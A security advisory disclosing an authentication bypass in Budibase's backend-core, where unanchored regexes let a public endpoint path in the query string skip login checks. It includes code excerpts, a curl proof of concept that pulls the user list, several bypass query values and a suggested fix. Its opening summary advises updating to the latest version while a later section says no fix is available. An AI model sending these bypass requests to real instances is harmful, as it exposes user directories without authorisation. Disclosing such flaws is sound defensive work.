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9.1

Budibase: Unauthenticated Access to Protected Endpoints via Public URL Trick

GHSA-8783-3wgf-jggf
Summary

Budibase's authentication system has a flaw that allows attackers to access protected endpoints without logging in. This happens when an attacker adds a public endpoint path as a query parameter to a URL. To fix this, update your Budibase installation to the latest version or contact your administrator to apply the necessary patches.

What to do

No fix is available yet. Check with your software vendor for updates.

Affected software
Ecosystem VendorProductAffected versions
npm budibase backend-core <= 3.35.3
Original title
Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints
Original description
### Summary

The `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL.

### Details

**Step 1 — Public endpoint patterns compiled without anchors**

`packages/backend-core/src/middleware/matchers.ts`, line 26:

```typescript
return { regex: new RegExp(route), method, route }
```

No `^` prefix, no `$` suffix. The regex matches anywhere in the test string.

**Step 2 — Regex tested against full URL including query string**

`packages/backend-core/src/middleware/matchers.ts`, line 32:

```typescript
const urlMatch = regex.test(ctx.request.url)
```

Koa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string.

**Step 3 — publicEndpoint flag set to true**

`packages/backend-core/src/middleware/authenticated.ts`, lines 123-125:

```typescript
const found = matches(ctx, noAuthOptions)
if (found) {
publicEndpoint = true
}
```

**Step 4 — Worker's global auth check skipped**

`packages/worker/src/api/index.ts`, lines 160-162:

```typescript
.use((ctx, next) => {
if (ctx.publicEndpoint) {
return next() // ← SKIPS the auth check below
}
if ((!ctx.isAuthenticated || ...) && !ctx.internal) {
ctx.throw(403, "Unauthorized") // ← never reached
}
})
```

When `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed.

**Step 5 — Routes without per-route auth middleware are exposed**

`loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23:

```typescript
export const loggedInRoutes = endpointGroupList.group() // no middleware
```

Endpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection.

**Affected endpoints (no per-route auth — fully exposed):**
- `POST /api/global/users/search` — search all users (emails, names, roles)
- `GET /api/global/self` — get current user info
- `GET /api/global/users/accountholder` — account holder lookup
- `GET /api/global/template/definitions` — template definitions
- `POST /api/global/license/refresh` — refresh license
- `POST /api/global/event/publish` — publish events

**Not affected (have secondary per-route auth that blocks undefined user):**
- `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403
- `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it

### PoC

```bash
# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search"
403

# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"[email protected]","admin":{"global":true},...}],...}
```

Without auth → 403. With `?x=/api/system/status` → returns all users.

Any public endpoint pattern works as the bypass value:
- `?x=/api/system/status`
- `?x=/api/system/environment`
- `?x=/api/global/configs/public`
- `?x=/api/global/auth/default`

### Impact

An unauthenticated attacker can:
1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search`
2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder`
3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh`
4. **Publish events** — inject events into the event system via `/api/global/event/publish`

The user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.

Note: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed.

### Suggested Fix

Two options (both should be applied):

**Option A — Anchor the regex:**
```typescript
// matchers.ts line 26
return { regex: new RegExp('^' + route + '(\\?|$)'), method, route }
```

**Option B — Use ctx.request.path instead of ctx.request.url:**
```typescript
// matchers.ts line 32
const urlMatch = regex.test(ctx.request.path) // excludes query string
```
ghsa CVSS3.1 9.1
Vulnerability type
CWE-287 Improper Authentication
Published: 16 Apr 2026 · Updated: 16 Apr 2026 · First seen: 16 Apr 2026